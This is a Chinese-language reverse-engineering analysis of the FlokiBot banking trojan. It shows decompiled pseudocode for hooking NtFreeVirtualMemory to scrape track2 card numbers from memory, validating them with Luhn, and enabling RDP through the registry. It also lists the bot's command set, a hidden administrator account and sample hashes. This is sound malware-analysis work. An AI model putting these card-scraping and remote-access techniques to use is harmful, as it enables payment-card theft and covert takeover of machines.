    if ( check_base_addr(*BaseAddress) )
      return 0xC0000022;                        // STATUS_ACCESS_DENIED
    RtlEnterCriticalSection_wrap(&unk_41E6E8);
    v11 = 1;
  }
  retBaseAddress = NtProtectVirtualMemory_wrap(
                   ProcessHandle,
                   BaseAddress,
                   NumberOfBytesToProtect,
                   NewAccessProtection,
                   OldAccessProtection);
[...]
LABEL_18:
  if ( v11 )
    RtlLeaveCriticalSection_wrap(&unk_41E6E8);
  return retBaseAddress;
}

 

 

→ PoS恶意软件特征:内存截取

在我的前一篇文章中,我逆向了一款非常基础的叫做 TreasureHunter 的 PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。

像大多数PoS恶意软件,FlokiBot 通过定期读取进程内存来搜索 track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的 PAN。为克服这个问题,在 Floki 把自己注入到某一个进程后,它会放置一个钩子到 NtFreeVirtualMemory 中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻 track2 PAN 。用这种方法,它就不太可能会错失PAN.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)
{
  PVOID v4; // ebx@1
  int v5; // edi@3
  RtlEnterCriticalSection_wrap(&unk_41E6E8);
  v4 = 0;
  if ( BaseAddress )
    v4 = *BaseAddress;
  v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);
  if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )
    trigger_ram_scraping((int)v4);
  RtlLeaveCriticalSection_wrap(&unk_41E6E8);
  return v5;
}

 

当 Floki 发现 track2 数据,它就会通过查看 PAN 的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:

http://www.stevemorse.org/ssn/List_of_Bank_Identification_Numbers.html.   

Floki 并没有查看整个IIN (6 位),而是只检查了第一位看它是否符合下面的发行方:

  • 3: Amex / Dinners / JP

  • 4:VISA

  • 5:Mastercard

  • 6: Discover

FlokiBot identify_mii 流程:

技术分享

然后,它根据 Luhn 算法查看 PAN 是否有效:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char __usercall check_mii_luhn@(void *a1@, _BYTE *a2@)
{
  char result; // al@1
  [...]
  result = identify_mii(*a2, a1);
  if ( result )
  {
    v7 = 0;    v3 = 1;    v8 = 2;
    v9 = 4;    v10 = 6;    v11 = 8;
    v12 = 1;    v13 = 3;    v14 = 5;
    v15 = 7;    v16 = 9;    v4 = 0;    v5 = 16;
    do    // Luhn Algorithm
    {
      v6 = a2[--v5] - ‘0‘;
      if ( !v3 )
        v6 = *(&v7 + v6);
      v4 += v6;
      v3 = v3 == 0;
    }
    while ( v5 );
    result = v4 % 10 == 0;
  }
  return result;
}

 

 

→ 通讯

通讯是用 RC4 和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:

user_flashplayer_remove user_flashplayer_get user_homepage_setuser_url_unblock user_url_block user_certs_remove user_certs_get user_cookies_remove user_cookies_get user_execute user_logoff user_destroy fs_search_remove fs_search_add fs_path_get bot_ddos_stop bot_ddos_start bot_httpinject_enablebot_httpinject_disablebot_bc_remove bot_bc_add bot_update_exe bot_update bot_uninstall os_reboot os_shutdown

现在  FlokiBot 还没有只是 TOR,但你可以在代码中找到这个特征的一些痕迹。

 

→ 激活远程桌面协议(RDP)

这个 payload 想要通过寄存器来手动激活远程 Windows 桌面,然后执行控制台命令行添加一个隐形的管理员账号 test_account:test_password 。

技术分享

enable_remote_desktop 函数的伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void enable_remote_desktop()
{
  signed int v0; // eax@3
  int v1; // [sp+0h] [bp-Ch]@2
  int v2; // [sp+4h] [bp-8h]@2
  int v3; // [sp+8h] [bp-4h]@2
  if ( byte_41E43C ) {
    v2 = 0;
    v1 = 4;
    v3 = 0x80000002;
    if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, 1, &v3) )
      v0 = -1;
    else
      v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);
    if ( v0 != -1 ) {
      if ( v2 ) {
        v3 = 0;                                 // 0 = Enables remote desktop connections
        cstm_RegSetValueExW(
          0x80000002,
          (int)L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
          (int)L"fDenyTSConnections",
          4,
          (int)&v3,
          4);
      }
    }
  }
}

 

自从 ATS 这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。

最后需要注意的和哈希值

FlokiBot 是又一基于 ZeuS 的恶意软件,有些代码甚至是直接从 Carberp 拿来的。虽然如此,它的解除挂钩操作和 PoS 恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用 AppCall,只用 IDA 脚本就可以进行静态分析。

针对最近的 FlokiBot 样本,@v0id_hunter  上传了了下面这些 SHA256.

23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd......省略

FlokiBot 银行木马详细分析